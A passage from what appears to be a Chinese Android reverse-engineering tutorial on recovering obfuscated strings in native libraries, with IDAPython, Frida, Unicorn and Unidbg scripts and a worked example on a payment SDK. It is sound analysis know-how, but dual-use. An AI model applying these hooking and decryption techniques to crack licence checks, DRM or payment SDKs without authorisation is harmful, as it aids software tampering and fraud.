风险等级 API 端点 https://api.example.com/v2/auth 高 - 暴露服务端接口 加密密钥 AES_KEY_2024_PROD 严重 - 直接破解加密 调试信息 verify_signature failed at step 3 中 - 暴露校验逻辑 协议格式 {\"cmd\":\"login\",\"token\":\"%s\"} 高 - 暴露通信协议 License 校验 license_expired / trial_version 中 - 定位破解点 常见需要混淆的场景包括：支付 SDK（密钥、回调地址）、DRM 保护（License 服务器）、反外挂系统（检测特征串）、加固壳（自身配置）、协议加密（字段名）。 还原混淆字符串的目标是 批量地、自动化地 恢复明文，从而快速理解函数用途、定位关键逻辑、辅助协议分析。 ","date":"2024-12-01","objectID":"/reverse_engineering/android/01-recipes/analysis/native_string_obfuscation/:1:1","tags":["Native层","Ghidra","逆向分析","Frida","加密分析","Hook"],"title":"Native 层字符串混淆与逆向","uri":"/reverse_engineering/android/01-recipes/analysis/native_string_obfuscation/#11-为什么要混淆字符串"},{"categories":null,"collections":null,"content":"2. 常见混淆方式 ","date":"2024-12-01","objectID":"/reverse_engineering/android/01-recipes/analysis/native_string_obfuscation/:2:0","tags":["Native层","Ghidra","逆向分析","Frida","加密分析","Hook"],"title":"Native 层字符串混淆与逆向","uri":"/reverse_engineering/android/01-recipes/analysis/native_string_obfuscation/#2-常见混淆方式"},{"categories":null,"collections":null,"content":"2.1 XOR 加密 最常见的字符串混淆方式，编译时异或加密，运行时异或还原： // 单字节 XOR：对 \"secret_key\" 每个字节 XOR 0xAB char encrypted[] = { 0xD8, 0xC4, 0xC2, 0xCD, 0xC4, 0xD1, 0xDF, 0xCB, 0xC4, 0xD8, 0x00 }; char* decrypt_string(char* data, int len, char key) { for (int i = 0; i \u003c len; i++) data[i] ^= key; return data; } 多字节变体使用密钥轮转：data[i] ^= key[i % key_len]，安全性更高但本质不变。 特点：实现简单、开销极低；单字节密钥可被频率分析破解，IDA 中 XOR 循环特征明显。 ","date":"2024-12-01","objectID":"/reverse_engineering/android/01-recipes/analysis/native_string_obfuscation/:2:1","tags":["Native层","Ghidra","逆向分析","Frida","加密分析","Hook"],"title":"Native 层字符串混淆与逆向","uri":"/reverse_engineering/android/01-recipes/analysis/native_string_obfuscation/#21-xor-加密"},{"categories":null,"collections":null,"content":"2.2 栈上动态构造 (Stack-based Construction) 避免在数据段中留下完整字符串，运行时逐字节在栈上构造： void get_secret_url() { char url[20]; url[0] = 'h'; url[1] = 't'; url[2] = 't'; url[3] = 'p'; url[4] = 's'; url[5] = ':'; url[6] = '/'; url[7] = '/'; url[8] = 'a'; url[9] = 'p'; url[10] = 'i'; url[11] = '.'; url[12] = 'e'; url[13] = 'x'; url[14] = 'a'; url[15] = 'm'; url[16] = 'p'; url[17] = 'l'; url[18] = 'e'; url[19] = '\\0'; } 编译器优化后常将多个字节合并为 64 位存储： MOV X8, #0x2F2F3A7370747468 ; \"https://\" STR X8, [SP, #0x10] MOV X8, #0x2E6970612F ; \"/api.\" STR X8, [SP, #0x18] 特点：.rodata 中无完整字符串；反编译器中表现为大量连续赋值。 ","date":"2024-12-01","objectID":"/reverse_engineering/android/01-recipes/analysis/native_string_obfuscation/:2:2","tags":["Native层","Ghidra","逆向分析","Frida","加密分析","Hook"],"title":"Native 层字符串混淆与逆向","uri":"/reverse_engineering/android/01-recipes/analysis/native_string_obfuscation/#22-栈上动态构造-stack-based-construction"},{"categories":null,"collections":null,"content":"2.3 自定义编码 开发者自行设计的方案，如自定义字母表 Base64、S-Box 查表替换等。分析时需要逆向编码算法本身。 ","date":"2024-12-01","objectID":"/reverse_engineering/android/01-recipes/analysis/native_string_obfuscation/:2:3","tags":["Native层","Ghidra","逆向分析","Frida","加密分析","Hook"],"title":"Native 层字符串混淆与逆向","uri":"/reverse_engineering/android/01-recipes/analysis/native_string_obfuscation/#23-自定义编码"},{"categories":null,"collections":null,"content":"2.4 编译期加密 (constexpr) 利用 C++11/14 的 constexpr 在编译期完成加密： template \u003cint N\u003e struct ObfuscatedString { char data[N]; static constexpr char KEY = 0x55; constexpr ObfuscatedString(const char (\u0026str)[N]) : data{} { for (int i = 0; i \u003c N; i++) data[i] = str[i] ^ KEY; } char* decrypt() { for (int i = 0; i \u003c N; i++) data[i] ^= KEY; return data; } }; #define OBF(str) []{ \\ constexpr auto s = ObfuscatedString\u003csizeof(str)\u003e(str); \\ static auto copy = s; return copy.decrypt(); }() const char* url = OBF(\"https://api.example.com\"); 常见于开源混淆库：obfuscate.h、ADVobfuscator、skCrypter。编译产物中只有密文，源码保持可读。 ","date":"2024-12-01","objectID":"/reverse_engineering/android/01-recipes/analysis/native_string_obfuscation/:2:4","tags":["Native层","Ghidra","逆向分析","Frida","加密分析","Hook"],"title":"Native 层字符串混淆与逆向","uri":"/reverse_engineering/android/01-recipes/analysis/native_string_obfuscation/#24-编译期加密-constexpr"},{"categories":null,"collections":null,"content":"2.5 OLLVM 字符串加密 OLLVM 的 -mllvm -sobf 自动加密所有字符串常量：编译时加密写入 .rodata，生成解密函数注册到 .init_array，SO 加载时自动执行解密。详见第 9 节。 ","date":"2024-12-01","objectID":"/reverse_engineering/android/01-recipes/analysis/native_string_obfuscation/:2:5","tags":["Native层","Ghidra","逆向分析","Frida","加密分析","Hook"],"title":"Native 层字符串混淆与逆向","uri":"/reverse_engineering/android/01-recipes/analysis/native_string_obfuscation/#25-ollvm-字符串加密"},{"categories":null,"collections":null,"content":"3. 静态分析识别 ","date":"2024-12-01","objectID":"/reverse_engineering/android/01-recipes/analysis/native_string_obfuscation/:3:0","tags":["Native层","Ghidra","逆向分析","Frida","加密分析","Hook"],"title":"Native 层字符串混淆与逆向","uri":"/reverse_engineering/android/01-recipes/analysis/native_string_obfuscation/#3-静态分析识别"},{"categories":null,"collections":null,"content":"3.1 快速判断是否存在混淆 检查项 操作 未混淆特征 混淆特征 字符串窗口 Shift+F12 大量可读字符串 字符串极少或全是乱码 .rodata 段 双击进入 可见 ASCII 文本 全是不可读字节 .init_array 查看段内容 仅标准初始化 包含多个可疑函数指针 函数特征 浏览反编译代码 直接引用字符串常量 大量位运算和循环 ","date":"2024-12-01","objectID":"/reverse_engineering/android/01-recipes/analysis/native_string_obfuscation/:3:1","tags":["Native层","Ghidra","逆向分析","Frida","加密分析","Hook"],"title":"Native 层字符串混淆与逆向","uri":"/reverse_engineering/android/01-recipes/analysis/native_string_obfuscation/#31-快速判断是否存在混淆"},{"categories":null,"collections":null,"content":"3.2 XOR 加密的识别特征 IDA 反汇编中的典型模式 – LDRB + EOR + STRB 循环： loc_loop: LDRB W9, [X8] ; 读取加密字节 EOR W9, W9, #0xAB ; XOR 解密 STRB W9, [X8] ; 写回 ADD X8, X8, #1 SUBS W10, W10, #1 B.NE loc_loop 反编译伪代码表现为简洁的循环 data[i] ^= 0xABu。多字节密钥变体中 i % key_len 常被优化为 i \u0026 (key_len - 1)。 ","date":"2024-12-01","objectID":"/reverse_engineering/android/01-recipes/analysis/native_string_obfuscation/:3:2","tags":["Native层","Ghidra","逆向分析","Frida","加密分析","Hook"],"title":"Native 层字符串混淆与逆向","uri":"/reverse_engineering/android/01-recipes/analysis/native_string_obfuscation/#32-xor-加密的识别特征"},{"categories":null,"collections":null,"content":"3.3 栈构造字符串的识别 看到大量连续的 MOV byte/word/dword 指令写入同一栈缓冲区，且立即数在 ASCII 范围（0x20-0x7E）内，几乎可以确定是栈构造字符串。IDA 优化后常表现为 QWORD/DWORD 赋值。 ","date":"2024-12-01","objectID":"/reverse_engineering/android/01-recipes/analysis/native_string_obfuscation/:3:3","tags":["Native层","Ghidra","逆向分析","Frida","加密分析","Hook"],"title":"Native 层字符串混淆与逆向","uri":"/reverse_engineering/android/01-recipes/analysis/native_string_obfuscation/#33-栈构造字符串的识别"},{"categories":null,"collections":null,"content":"3.4 .init_array 的检查 在 IDA 中按 Ctrl+S 打开段列表，找到 .init_array 段，逐一检查其中的函数指针。如果某个函数内部包含循环 XOR 操作并修改 .rodata 数据，它很可能是 OLLVM 的字符串解密函数。 ","date":"2024-12-01","objectID":"/reverse_engineering/android/01-recipes/analysis/native_string_obfuscation/:3:4","tags":["Native层","Ghidra","逆向分析","Frida","加密分析","Hook"],"title":"Native 层字符串混淆与逆向","uri":"/reverse_engineering/android/01-recipes/analysis/native_string_obfuscation/#34-init_array-的检查"},{"categories":null,"collections":null,"content":"4. XOR 解密实战 💡 思路一句话: 在 IDA 中识别 XOR 循环特征（循环 + 异或操作 + 字节数组）→ 提取密文和密钥 → 编写 Python 解密脚本批量还原。 ","date":"2024-12-01","objectID":"/reverse_engineering/android/01-recipes/analysis/native_string_obfuscation/:4:0","tags":["Native层","Ghidra","逆向分析","Frida","加密分析","Hook"],"title":"Native 层字符串混淆与逆向","uri":"/reverse_engineering/android/01-recipes/analysis/native_string_obfuscation/#4-xor-解密实战"},{"categories":null,"collections":null,"content":"4.1 识别流程 定位加密数据：在 .rodata 中发现不可读字节序列 寻找交叉引用：按 X 查看该地址被哪些函数引用 分析解密函数：确认是 XOR 循环模式，提取密钥 手动验证： encrypted = [0xD8, 0xC4, 0xC2, 0xCD, 0xC4, 0xD1, 0xDF, 0xCB, 0xC4, 0xD8] result = ''.join(chr(b ^ 0xAB) for b in encrypted) print(result) # \"secret_key\" ","date":"2024-12-01","objectID":"/reverse_engineering/android/01-recipes/analysis/native_string_obfuscation/:4:1","tags":["Native层","Ghidra","逆向分析","Frida","加密分析","Hook"],"title":"Native 层字符串混淆与逆向","uri":"/reverse_engineering/android/01-recipes/analysis/native_string_obfuscation/#41-识别流程"},{"categories":null,"collections":null,"content":"4.2 暴力破解未知密钥 当密钥未知时，对单字节 XOR 可尝试全部 256 种可能： def guess_xor_key(encrypted_data): for key in range(256): decrypted = bytes([b ^ key for b in encrypted_data]) if all(0x20 \u003c= c \u003c 0x7F or c == 0 for c in decrypted): print(f\"Key=0x{key:02X}: {decrypted.decode('ascii', errors='replace')}\") 也可利用频率分析：密文中出现最多的字节可能对应 NULL 终止符（XOR key = 该字节本身）。 ","date":"2024-12-01","objectID":"/reverse_engineering/android/01-recipes/analysis/native_string_obfuscation/:4:2","tags":["Native层","Ghidra","逆向分析","Frida","加密分析","Hook"],"title":"Native 层字符串混淆与逆向","uri":"/reverse_engineering/android/01-recipes/analysis/native_string_obfuscation/#42-暴力破解未知密钥"},{"categories":null,"collections":null,"content":"5. 栈构造字符串 ","date":"2024-12-01","objectID":"/reverse_engineering/android/01-recipes/analysis/native_string_obfuscation/:5:0","tags":["Native层","Ghidra","逆向分析","Frida","加密分析","Hook"],"title":"Native 层字符串混淆与逆向","uri":"/reverse_engineering/android/01-recipes/analysis/native_string_obfuscation/#5-栈构造字符串"},{"categories":null,"collections":null,"content":"5.1 逐字节构造的还原 Ghidra 反编译输出中看到连续的单字节赋值： buf[0]=0x68; buf[1]=0x74; buf[2]=0x74; buf[3]=0x70; // \"http\" 直接将十六进制值转为 ASCII 即可还原。 ","date":"2024-12-01","objectID":"/reverse_engineering/android/01-recipes/analysis/native_string_obfuscation/:5:1","tags":["Native层","Ghidra","逆向分析","Frida","加密分析","Hook"],"title":"Native 层字符串混淆与逆向","uri":"/reverse_engineering/android/01-recipes/analysis/native_string_obfuscation/#51-逐字节构造的还原"},{"categories":null,"collections":null,"content":"5.2 编译器优化合并的还原 IDA 反编译常将多字节合并为整数常量（小端序）： *(_QWORD *)\u0026buf[0] = 0x2F2F3A7370747468LL; // \"https://\" *(_DWORD *)\u0026buf[8] = 0x2E697061; // \"api.\" 还原方法： import struct def qword_to_str(val): return struct.pack('\u003cQ', val).decode('ascii', errors='replace').rstrip('\\x00') print(qword_to_str(0x2F2F3A7370747468)) # \"https://\" 推荐使用 IDA 插件 FLOSS 或 strdeob 自动识别栈构造字符串。 ","date":"2024-12-01","objectID":"/reverse_engineering/android/01-recipes/analysis/native_string_obfuscation/:5:2","tags":["Native层","Ghidra","逆向分析","Frida","加密分析","Hook"],"title":"Native 层字符串混淆与逆向","uri":"/reverse_engineering/android/01-recipes/analysis/native_string_obfuscation/#52-编译器优化合并的还原"},{"categories":null,"collections":null,"content":"6. Frida 动态解密 核心思路：Hook 解密函数的入口和出口，在运行时截获明文。 ","date":"2024-12-01","objectID":"/reverse_engineering/android/01-recipes/analysis/native_string_obfuscation/:6:0","tags":["Native层","Ghidra","逆向分析","Frida","加密分析","Hook"],"title":"Native 层字符串混淆与逆向","uri":"/reverse_engineering/android/01-recipes/analysis/native_string_obfuscation/#6-frida-动态解密"},{"categories":null,"collections":null,"content":"6.1 Hook 解密函数 function hookDecryptFunction() { var base = Module.findBaseAddress(\"libtarget.so\"); // sub_1234 是静态分析确认的解密函数 var decrypt_func = base.add(0x1234); Interceptor.attach(decrypt_func, { onEnter: function(args) { this.buf = args[0]; this.len = args[1].toInt32(); }, onLeave: function(retval) { try { var plaintext = this.buf.readUtf8String(); console.log(\"[+] 解密: \" + plaintext); send({ type: \"decrypted\", addr: this.buf.toString(), text: plaintext }); } catch (e) {} } }); } // 等待 SO 加载后再 Hook Interceptor.attach(Module.findExportByName(null, \"dlopen\"), { onEnter: function(args) { this.path = args[0].readUtf8String(); }, onLeave: function(retval) { if (this.path \u0026\u0026 this.path.indexOf(\"libtarget.so\") !== -1) hookDecryptFunction(); } }); ","date":"2024-12-01","objectID":"/reverse_engineering/android/01-recipes/analysis/native_string_obfuscation/:6:1","tags":["Native层","Ghidra","逆向分析","Frida","加密分析","Hook"],"title":"Native 层字符串混淆与逆向","uri":"/reverse_engineering/android/01-recipes/analysis/native_string_obfuscation/#61-hook-解密函数"},{"categories":null,"collections":null,"content":"6.2 Python 端批量收集 import frida, json, sys collected = {} def on_message(msg, data): if msg['type'] == 'send' and msg['payload'].get('type') == 'decrypted': addr, text = msg['payload']['addr'], msg['payload']['text'] if addr not in collected: collected[addr] = text print(f\"[+] {addr}: {text}\") device = frida.get_usb_device() pid = device.spawn([\"com.target.app\"]) session = device.attach(pid) script = session.create_script(open(\"hook_decrypt.js\").read()) script.on('message', on_message) script.load() device.resume(pid) try: sys.stdin.read() except KeyboardInterrupt: pass json.dump(collected, open(\"decrypted_strings.json\", \"w\"), indent=2, ensure_ascii=False) print(f\"[*] 共收集 {len(collected)} 个字符串\") ","date":"2024-12-01","objectID":"/reverse_engineering/android/01-recipes/analysis/native_string_obfuscation/:6:2","tags":["Native层","Ghidra","逆向分析","Frida","加密分析","Hook"],"title":"Native 层字符串混淆与逆向","uri":"/reverse_engineering/android/01-recipes/analysis/native_string_obfuscation/#62-python-端批量收集"},{"categories":null,"collections":null,"content":"6.3 内存扫描法 当无法定位解密函数时，让应用运行后扫描内存： setTimeout(function() { var mod = Process.findModuleByName(\"libtarget.so\"); Memory.scan(mod.base, mod.size, \"68 74 74 70 73 3A 2F 2F\", { onMatch: function(addr, size) { try { console.log(\"[+] \" + addr + \": \" + addr.readUtf8String()); } catch(e) {} }, onComplete: function() {} }); }, 3000); 局限性：只能发现已解密的字符串；结果含大量噪声；部分方案使用后会清除明文。 ","date":"2024-12-01","objectID":"/reverse_engineering/android/01-recipes/analysis/native_string_obfuscation/:6:3","tags":["Native层","Ghidra","逆向分析","Frida","加密分析","Hook"],"title":"Native 层字符串混淆与逆向","uri":"/reverse_engineering/android/01-recipes/analysis/native_string_obfuscation/#63-内存扫描法"},{"categories":null,"collections":null,"content":"7. Unicorn/Unidbg 模拟解密 适用于独立、无外部依赖的解密函数，脱离 App 环境直接解密。 ","date":"2024-12-01","objectID":"/reverse_engineering/android/01-recipes/analysis/native_string_obfuscation/:7:0","tags":["Native层","Ghidra","逆向分析","Frida","加密分析","Hook"],"title":"Native 层字符串混淆与逆向","uri":"/reverse_engineering/android/01-recipes/analysis/native_string_obfuscation/#7-unicornunidbg-模拟解密"},{"categories":null,"collections":null,"content":"7.1 Unicorn Engine from unicorn import * from unicorn.arm64_const import * def emulate_decrypt(func_bytes, encrypted_data): CODE, DATA, STACK = 0x10000, 0x20000, 0x30000 mu = Uc(UC_ARCH_ARM64, UC_MODE_ARM) mu.mem_map(CODE, 0x10000) mu.mem_map(DATA, 0x10000) mu.mem_map(STACK, 0x10000) mu.mem_write(CODE, func_bytes) mu.mem_write(DATA, encrypted_data) mu.reg_write(UC_ARM64_REG_X0, DATA) mu.reg_write(UC_ARM64_REG_X1, len(encrypted_data)) mu.reg_write(UC_ARM64_REG_SP, STACK + 0xFF00) mu.emu_start(CODE, CODE + len(func_bytes)) return bytes(mu.mem_read(DATA, len(encrypted_data))) # 从 IDA 导出解密函数机器码（Edit -\u003e Export Data -\u003e Raw bytes） # result = emulate_decrypt(func_bytes, encrypted) ","date":"2024-12-01","objectID":"/reverse_engineering/android/01-recipes/analysis/native_string_obfuscation/:7:1","tags":["Native层","Ghidra","逆向分析","Frida","加密分析","Hook"],"title":"Native 层字符串混淆与逆向","uri":"/reverse_engineering/android/01-recipes/analysis/native_string_obfuscation/#71-unicorn-engine"},{"categories":null,"collections":null,"content":"7.2 Unidbg（推荐） Unidbg 自动处理 JNI 环境和 SO 加载，更适合 Android 场景： AndroidEmulator emulator = AndroidEmulatorBuilder.for64Bit().build(); emulator.getMemory().setLibraryResolver(new AndroidResolver(23)); Module module = emulator.loadLibrary(new File(\"libtarget.so\")); // .init_array 自动执行，OLLVM 加密字符串已解密 // 方式 1：直接调用解密函数 Number result = module.callFunction(emulator, 0x1234, dataPtr, len)[0]; // 方式 2：直接读取已解密的 .rodata UnidbgPointer ptr = UnidbgPointer.pointer(emulator, module.base + 0x4000); System.out.println(new String(ptr.getByteArray(0, 64)).trim()); 特性 Unicorn Unidbg 语言 Python/C Java JNI 支持 需手动模拟 内置 .init_array 需手动执行 自动执行 SO 加载 需手动映射 ELF 自动加载和重定位 适用场景 简单独立函数 复杂 SO，有 JNI 依赖 ","date":"2024-12-01","objectID":"/reverse_engineering/android/01-recipes/analysis/native_string_obfuscation/:7:2","tags":["Native层","Ghidra","逆向分析","Frida","加密分析","Hook"],"title":"Native 层字符串混淆与逆向","uri":"/reverse_engineering/android/01-recipes/analysis/native_string_obfuscation/#72-unidbg推荐"},{"categories":null,"collections":null,"content":"8. IDAPython 批量解密脚本 ","date":"2024-12-01","objectID":"/reverse_engineering/android/01-recipes/analysis/native_string_obfuscation/:8:0","tags":["Native层","Ghidra","逆向分析","Frida","加密分析","Hook"],"title":"Native 层字符串混淆与逆向","uri":"/reverse_engineering/android/01-recipes/analysis/native_string_obfuscation/#8-idapython-批量解密脚本"},{"categories":null,"collections":null,"content":"8.1 通用解密框架 import idaapi, idautils, idc class StringDecryptor: def __init__(self, func_addr): self.func_addr = func_addr self.results = [] def decrypt(self, data, key): raise NotImplementedError def extract_args(self, call_ea): \"\"\"在调用点向上回溯提取 ARM64 参数 (X0=数据, X1=长度, X2=密钥)\"\"\" ea, args = call_ea, {} for _ in range(20): ea = idc.prev_head(ea) if ea == idaapi.BADADDR: break mnem = idc.print_insn_mnem(ea) if mnem in (\"BL\", \"B\"): break op0 = idc.print_operand(ea, 0) val = idc.get_operand_value(ea, 1) if \"X0\" in op0 or \"W0\" in op0: args['arg0'] = val elif \"X1\" in op0 or \"W1\" in op0: args['arg1'] = val elif \"X2\" in op0 or \"W2\" in op0: args['arg2'] = val return args def run(self): for xref in idautils.CodeRefsTo(self.func_addr, 0): args = self.extract_args(xref) addr, length = args.get('arg0'), args.get('arg1') if not addr or not length or length \u003e 4096: continue encrypted = idaapi.get_bytes(addr, length) if not encrypted: continue decrypted = self.decrypt(encrypted, args.get('arg2')) if decrypted: text = decrypted.decode('utf-8', errors='replace').rstrip('\\x00') idc.set_cmt(xref, f'STR: \"{text}\"', 0) self.results.append((xref, text)) print(f\" [+] 0x{xref:X}: \\\"{text}\\\"\") print(f\"[*] 共解密 {len(self.results)} 个字符串\") class XorDecryptor(StringDecryptor): def __init__(self, func_addr, fixed_key=None): super().__init__(func_addr) self.fixed_key = fixed_key def decrypt(self, data, key=None): k = self.fixed_key if self.fixed_key is not None else (key or 0) return bytes([b ^ k for b in data]) class MultiXorDecryptor(StringDecryptor): def __init__(self, func_addr, key_bytes): super().__init__(func_addr) self.key_bytes = key_bytes def decrypt(self, data, key=None): return bytes([data[i] ^ self.key_bytes[i % len(self.key_bytes)] for i in range(len(data))]) # 使用: XorDecryptor(0x1234, fixed_key=0xAB).run() ","date":"2024-12-01","objectID":"/reverse_engineering/android/01-recipes/analysis/native_string_obfuscation/:8:1","tags":["Native层","Ghidra","逆向分析","Frida","加密分析","Hook"],"title":"Native 层字符串混淆与逆向","uri":"/reverse_engineering/android/01-recipes/analysis/native_string_obfuscation/#81-通用解密框架"},{"categories":null,"collections":null,"content":"8.2 处理 ADRP/ADD 寻址 ARM64 访问全局数据使用 ADRP+ADD 指令对，需特殊解析： def resolve_adrp_add(adrp_ea, add_ea): \"\"\"ADRP X0, #page; ADD X0, X0, #off -\u003e 目标地址\"\"\" page = (adrp_ea \u0026 ~0xFFF) + (idc.get_operand_value(adrp_ea, 1) \u003c\u003c 12) return page + idc.get_operand_value(add_ea, 2) 在 extract_args 中识别 ADRP 指令后记录其地址，遇到对应的 ADD 时调用 resolve_adrp_add 计算真实数据地址。 ","date":"2024-12-01","objectID":"/reverse_engineering/android/01-recipes/analysis/native_string_obfuscation/:8:2","tags":["Native层","Ghidra","逆向分析","Frida","加密分析","Hook"],"title":"Native 层字符串混淆与逆向","uri":"/reverse_engineering/android/01-recipes/analysis/native_string_obfuscation/#82-处理-adrpadd-寻址"},{"categories":null,"collections":null,"content":"9. OLLVM 字符串加密 ","date":"2024-12-01","objectID":"/reverse_engineering/android/01-recipes/analysis/native_string_obfuscation/:9:0","tags":["Native层","Ghidra","逆向分析","Frida","加密分析","Hook"],"title":"Native 层字符串混淆与逆向","uri":"/reverse_engineering/android/01-recipes/analysis/native_string_obfuscation/#9-ollvm-字符串加密"},{"categories":null,"collections":null,"content":"9.1 工作原理 编译期: \"hello\" ──[LLVM Pass]──\u003e 密文 0xA3 0xB2 ... 写入 .rodata 运行期: .init_array ──\u003e 解密函数() ──\u003e .rodata 密文原地解密为 \"hello\" ↑ SO 加载时自动执行（在 JNI_OnLoad 之前） 关键特征：.rodata 全是不可读数据；.init_array 有额外函数指针；解密函数内是大量重复的循环 XOR 块，每个字符串使用不同密钥。 ","date":"2024-12-01","objectID":"/reverse_engineering/android/01-recipes/analysis/native_string_obfuscation/:9:1","tags":["Native层","Ghidra","逆向分析","Frida","加密分析","Hook"],"title":"Native 层字符串混淆与逆向","uri":"/reverse_engineering/android/01-recipes/analysis/native_string_obfuscation/#91-工作原理"},{"categories":null,"collections":null,"content":"9.2 典型解密函数 // IDA 反编译 - OLLVM datadiv_decode 函数 void __fastcall datadiv_decode_1234567890(void) { unsigned char *p1 = (unsigned char *)\u0026unk_4100; for (int i = 0; i \u003c 10; i++) p1[i] ^= 0x37; unsigned char *p2 = (unsigned char *)\u0026unk_4110; for (int i = 0; i \u003c 24; i++) p2[i] ^= 0x5A; unsigned char *p3 = (unsigned char *)\u0026unk_4130; for (int i = 0; i \u003c 8; i++) p3[i] ^= 0xC3; // ... 数十甚至数百个这样的块 } 函数名通常以 datadiv_decode 开头（可能被 strip）；函数在 .init_array 注册。 ","date":"2024-12-01","objectID":"/reverse_engineering/android/01-recipes/analysis/native_string_obfuscation/:9:2","tags":["Native层","Ghidra","逆向分析","Frida","加密分析","Hook"],"title":"Native 层字符串混淆与逆向","uri":"/reverse_engineering/android/01-recipes/analysis/native_string_obfuscation/#92-典型解密函数"},{"categories":null,"collections":null,"content":"9.3 IDAPython 解密 OLLVM 字符串 def find_init_array_functions(): \"\"\"遍历 .init_array 段，返回所有函数地址\"\"\" seg = idaapi.get_segm_by_name(\".init_array\") if not seg: return [] funcs, ea = [], seg.start_ea ptr_size = 8 if idaapi.get_inf_structure().is_64bit() else 4 while ea \u003c seg.end_ea: addr = idaapi.get_qword(ea) if ptr_size == 8 else idaapi.get_dword(ea) if addr and idaapi.get_func(addr): funcs.append(addr) ea += ptr_size return funcs def is_decrypt_function(func_addr): \"\"\"检查函数内 EOR 指令数量是否超过阈值\"\"\" func = idaapi.get_func(func_addr) if not func: return False count, ea = 0, func.start_ea while ea \u003c func.end_ea: if idc.print_insn_mnem(ea) == \"EOR\": count += 1 ea = idc.next_head(ea) return count \u003e 3 def ollvm_batch_decrypt(decrypt_table): \"\"\"根据提取的 (地址, 长度, 密钥) 列表批量解密\"\"\" for addr, length, key in decrypt_table: encrypted = idaapi.get_bytes(addr, length) if not encrypted: continue decrypted = bytes([b ^ key for b in encrypted]) try: text = decrypted.decode('utf-8').rstrip('\\x00') idc.set_cmt(addr, f'\"{text}\"', 0) idc.create_strlit(addr, addr + length) print(f\"[+] 0x{addr:X} [key=0x{key:02X}]: \\\"{text}\\\"\") except: print(f\"[?] 0x{addr:X}: {decrypted.hex()}\") ","date":"2024-12-01","objectID":"/reverse_engineering/android/01-recipes/analysis/native_string_obfuscation/:9:3","tags":["Native层","Ghidra","逆向分析","Frida","加密分析","Hook"],"title":"Native 层字符串混淆与逆向","uri":"/reverse_engineering/android/01-recipes/analysis/native_string_obfuscation/#93-idapython-解密-ollvm-字符串"},{"categories":null,"collections":null,"content":"9.4 Unidbg 一键解密 最简单有效的方案 – 让 Unidbg 加载 SO（自动执行 .init_array），然后 dump 解密后的内存： Module module = emulator.loadLibrary(new File(\"libtarget.so\")); // .init_array 已自动执行，所有字符串已解密 // dump 后用 strings 命令提取：strings -n 4 libtarget_decrypted.bin ","date":"2024-12-01","objectID":"/reverse_engineering/android/01-recipes/analysis/native_string_obfuscation/:9:4","tags":["Native层","Ghidra","逆向分析","Frida","加密分析","Hook"],"title":"Native 层字符串混淆与逆向","uri":"/reverse_engineering/android/01-recipes/analysis/native_string_obfuscation/#94-unidbg-一键解密"},{"categories":null,"collections":null,"content":"10. 实战案例：完整字符串解密流程 💡 思路一句话: IDA 定位 .init_array 中的解密函数 → Frida hook 解密函数的入口和出口获取明文 → 或用 Unicorn 模拟执行解密函数批量解密所有字符串。 ","date":"2024-12-01","objectID":"/reverse_engineering/android/01-recipes/analysis/native_string_obfuscation/:10:0","tags":["Native层","Ghidra","逆向分析","Frida","加密分析","Hook"],"title":"Native 层字符串混淆与逆向","uri":"/reverse_engineering/android/01-recipes/analysis/native_string_obfuscation/#10-实战案例完整字符串解密流程"},{"categories":null,"collections":null,"content":"10.1 场景 目标：某支付 SDK 的 libpaysdk.so，需还原加密字符串以分析通信协议。 ","date":"2024-12-01","objectID":"/reverse_engineering/android/01-recipes/analysis/native_string_obfuscation/:10:1","tags":["Native层","Ghidra","逆向分析","Frida","加密分析","Hook"],"title":"Native 层字符串混淆与逆向","uri":"/reverse_engineering/android/01-recipes/analysis/native_string_obfuscation/#101-场景"},{"categories":null,"collections":null,"content":"10.2 步骤一：初步分析 $ strings -n 6 libpaysdk.so | head -10 # 几乎没有有意义的字符串，确认存在混淆 IDA 中 Shift+F12 打开字符串窗口，仅有系统字符串，自定义字符串全部缺失。 ","date":"2024-12-01","objectID":"/reverse_engineering/android/01-recipes/analysis/native_string_obfuscation/:10:2","tags":["Native层","Ghidra","逆向分析","Frida","加密分析","Hook"],"title":"Native 层字符串混淆与逆向","uri":"/reverse_engineering/android/01-recipes/analysis/native_string_obfuscation/#102-步骤一初步分析"},{"categories":null,"collections":null,"content":"10.3 步骤二：检查 .init_array 发现可疑函数 sub_3B40，反编译后看到典型 OLLVM 模式： void sub_3B40() { byte_6100[0] ^= 0x37u; byte_6100[1] ^= 0x37u; // ... 共 25 字节 byte_6120[0] ^= 0x5Au; byte_6120[1] ^= 0x5Au; // ... 共 48 字节 // 第 3 组 - 第 N 组 ... } ","date":"2024-12-01","objectID":"/reverse_engineering/android/01-recipes/analysis/native_string_obfuscation/:10:3","tags":["Native层","Ghidra","逆向分析","Frida","加密分析","Hook"],"title":"Native 层字符串混淆与逆向","uri":"/reverse_engineering/android/01-recipes/analysis/native_string_obfuscation/#103-步骤二检查-init_array"},{"categories":null,"collections":null,"content":"10.4 步骤三：IDAPython 解密 decrypt_table = [ (0x6100, 25, 0x37), (0x6120, 48, 0x5A), (0x6150, 16, 0xC3), (0x6160, 32, 0x91), (0x6180, 12, 0x44), (0x6190, 64, 0xBE), ] ollvm_batch_decrypt(decrypt_table) 输出结果： [+] 0x6100 [key=0x37]: \"https://pay.example.com/api\" [+] 0x6120 [key=0x5A]: \"X-Signature\" [+] 0x6150 [key=0xC3]: \"AES/CBC/PKCS5Padding\" [+] 0x6160 [key=0x91]: \"RSA/ECB/OAEPWithSHA-256\" [+] 0x6180 [key=0x44]: \"merchant_id\" [+] 0x6190 [key=0xBE]: \"{\"code\":%d,\"data\":\"%s\",\"sign\":\"%s\"}\" ","date":"2024-12-01","objectID":"/reverse_engineering/android/01-recipes/analysis/native_string_obfuscation/:10:4","tags":["Native层","Ghidra","逆向分析","Frida","加密分析","Hook"],"title":"Native 层字符串混淆与逆向","uri":"/reverse_engineering/android/01-recipes/analysis/native_string_obfuscation/#104-步骤三idapython-解密"},{"categories":null,"collections":null,"content":"10.5 步骤四：Frida 验证 var base = Module.findBaseAddress(\"libpaysdk.so\"); Interceptor.attach(base.add(0x1A00), { onEnter: function(args) { console.log(\"[*] URL参数: \" + args[0].readUtf8String()); // 如果输出 \"https://pay.example.com/api\"，则验证解密正确 } }); ","date":"2024-12-01","objectID":"/reverse_engineering/android/01-recipes/analysis/native_string_obfuscation/:10:5","tags":["Native层","Ghidra","逆向分析","Frida","加密分析","Hook"],"title":"Native 层字符串混淆与逆向","uri":"/reverse_engineering/android/01-recipes/analysis/native_string_obfuscation/#105-步骤四frida-验证"},{"categories":null,"collections":null,"content":"10.6 方法选择指南 场景 推荐方法 原因 简单 XOR，密钥已知 IDAPython 脚本 最快速，可批量处理 OLLVM 字符串加密 Unidbg 加载 